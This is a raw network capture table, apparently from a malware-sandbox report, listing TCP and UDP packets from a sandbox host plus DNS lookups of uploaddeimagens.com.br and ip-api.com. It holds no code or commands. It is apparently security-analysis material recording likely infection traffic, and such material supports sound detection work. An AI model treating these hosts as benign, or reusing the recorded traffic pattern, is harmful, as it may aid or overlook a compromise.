Jul 2, 2024 08:22:17.803622007 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.803659916 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.804327965 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.804339886 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.804351091 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.804389000 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.804389000 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.804475069 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.804492950 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.804508924 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.804519892 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.804537058 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.805151939 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.805269957 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.805735111 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.837781906 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.837868929 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.837879896 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.837879896 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.837892056 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.837904930 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.838816881 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.843964100 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.843978882 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.844048023 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.844079971 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.868351936 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.890008926 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890028000 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890038967 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890266895 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890276909 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890288115 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890299082 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890310049 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.890310049 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.890389919 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.890398979 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890548944 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890559912 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890571117 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890584946 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890599966 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890610933 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890620947 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.890620947 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.890953064 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890964031 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890974998 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.890994072 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.890994072 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.891067028 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.891211987 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.891222954 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.891233921 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.891249895 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.891249895 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.891551971 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.891562939 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.891573906 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.891885996 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892071009 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.892074108 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892086029 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892230034 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892400026 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892410994 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892421007 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892431021 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892436981 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.892436981 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.892515898 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.892570019 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892581940 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892591953 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892602921 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892628908 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.892628908 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.892698050 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.892709970 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893363953 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893376112 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893385887 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893418074 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.893418074 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.893481970 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893491030 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893577099 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.893613100 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893625021 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893745899 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893755913 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893767118 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.893789053 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.893789053 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.894294024 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.894304991 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.894315004 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.894433022 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.894443989 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.894459963 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.894470930 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.894481897 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.894481897 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.894764900 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.894829035 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.896460056 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.896601915 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.896614075 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.896925926 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.897939920 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.897949934 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.898108959 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.898121119 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.898154020 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.898258924 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.903450966 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.903465033 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.903477907 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.903486967 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.903506041 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.903551102 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.908096075 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.908118963 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.908128977 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.908154964 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.908190966 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.908200026 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.908247948 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.926290989 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926305056 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926316977 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926330090 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926373005 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.926373005 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.926539898 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926553965 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926564932 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926575899 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926587105 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926599026 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.926604033 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.926630974 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.926630974 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.932323933 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.932336092 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.932347059 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.932378054 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.932557106 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.932569981 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.932607889 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.983592033 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983608961 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983618975 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983639002 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983645916 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.983645916 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.983649015 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983659983 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983670950 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983871937 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983881950 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983892918 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983902931 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983907938 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.983907938 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.983912945 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983923912 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.983942032 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.984131098 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984141111 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984150887 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984167099 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.984167099 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.984224081 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984235048 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984245062 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984255075 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984268904 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984280109 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984286070 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.984286070 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.984291077 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984499931 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.984663963 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984673977 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984683990 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984694004 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984723091 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.984723091 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.984772921 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984782934 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984792948 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984802961 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984812021 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984821081 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.984824896 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984834909 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.984846115 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.985292912 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.985368013 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985382080 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985392094 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985402107 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985413074 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985423088 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985431910 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985438108 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.985438108 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.985443115 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985452890 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985461950 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985472918 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985476971 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.985476971 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.985482931 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.985966921 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.986028910 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986044884 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986054897 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986064911 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986073017 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.986073971 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986088991 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986088991 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.986099958 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986109018 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986119986 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986125946 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.986125946 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.986129999 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986140013 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986149073 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986159086 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986165047 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.986165047 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.986169100 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986180067 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986190081 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986200094 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.986205101 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.986205101 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.986210108 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987008095 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987024069 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987034082 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987044096 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987052917 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987054110 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987054110 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987062931 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987072945 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987081051 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987081051 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987082958 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987092972 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987102985 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987112999 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987123013 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987124920 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987124920 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987132072 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987142086 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987149954 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987152100 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987162113 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987171888 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987176895 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987176895 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987183094 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987193108 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987431049 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987554073 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987900019 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987910986 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987920046 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987920046 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987931013 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987941027 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987951040 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987956047 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987966061 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987977028 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.987977028 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.987977028 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.988298893 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:18.016041994 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.016061068 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.016077995 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.016088963 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.016098976 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.016110897 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.016122103 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.016134024 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:18.016134024 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:18.016165018 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:18.016206980 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.016230106 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.016311884 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:18.068072081 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.068234921 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:18.069448948 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:18.212693930 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:18.635420084 CEST	49168	80	192.168.2.22	208.95.112.1
Jul 2, 2024 08:22:18.640384912 CEST	80	49168	208.95.112.1	192.168.2.22
Jul 2, 2024 08:22:18.640639067 CEST	49168	80	192.168.2.22	208.95.112.1
Jul 2, 2024 08:22:18.641774893 CEST	49168	80	192.168.2.22	208.95.112.1
Jul 2, 2024 08:22:18.646634102 CEST	80	49168	208.95.112.1	192.168.2.22
Jul 2, 2024 08:22:18.936270952 CEST	49166	80	192.168.2.22	208.95.112.1
Jul 2, 2024 08:22:19.110130072 CEST	80	49168	208.95.112.1	192.168.2.22
Jul 2, 2024 08:22:19.309577942 CEST	49168	80	192.168.2.22	208.95.112.1
Jul 2, 2024 08:22:58.345248938 CEST	80	49168	208.95.112.1	192.168.2.22
Jul 2, 2024 08:22:58.345343113 CEST	49168	80	192.168.2.22	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 08:22:13.011703014 CEST	54562	53	192.168.2.22	8.8.8.8
Jul 2, 2024 08:22:13.225989103 CEST	53	54562	8.8.8.8	192.168.2.22
Jul 2, 2024 08:22:16.100753069 CEST	52917	53	192.168.2.22	8.8.8.8
Jul 2, 2024 08:22:16.112360001 CEST	53	52917	8.8.8.8	192.168.2.22
Jul 2, 2024 08:22:18.609288931 CEST	62751	53	192.168.2.22	8.8.8.8
Jul 2, 2024 08:22:18.618108988 CEST	53	62751	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 2, 2024 08:22:13.011703014 CEST	192.168.2.22	8.8.8.8	0x15a2	Standard query (0)	uploaddeimagens.com.br	A (IP address)	IN (0x0001)	false
Jul 2, 2024 08:22:16.100753069 CEST	192.168.2.22	8.8.8.8	0x38fc	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 08:22:18.609288931 CEST	192.168.2.22	8.8.8.8	0x3224	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 2, 2024 08:22:13.225989103 CEST	8.8.8.8	192.168.2.22	0x15a2	No error (0)	uploaddeimagens.com.br	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 2, 2024 08:22:13.225989103 CEST	8.8.8.8	192.168.2.22	0x15a2	No error (0)	uploaddeimagens.com.br	188.114.97.3	A (IP address)	IN (0x0001)	false
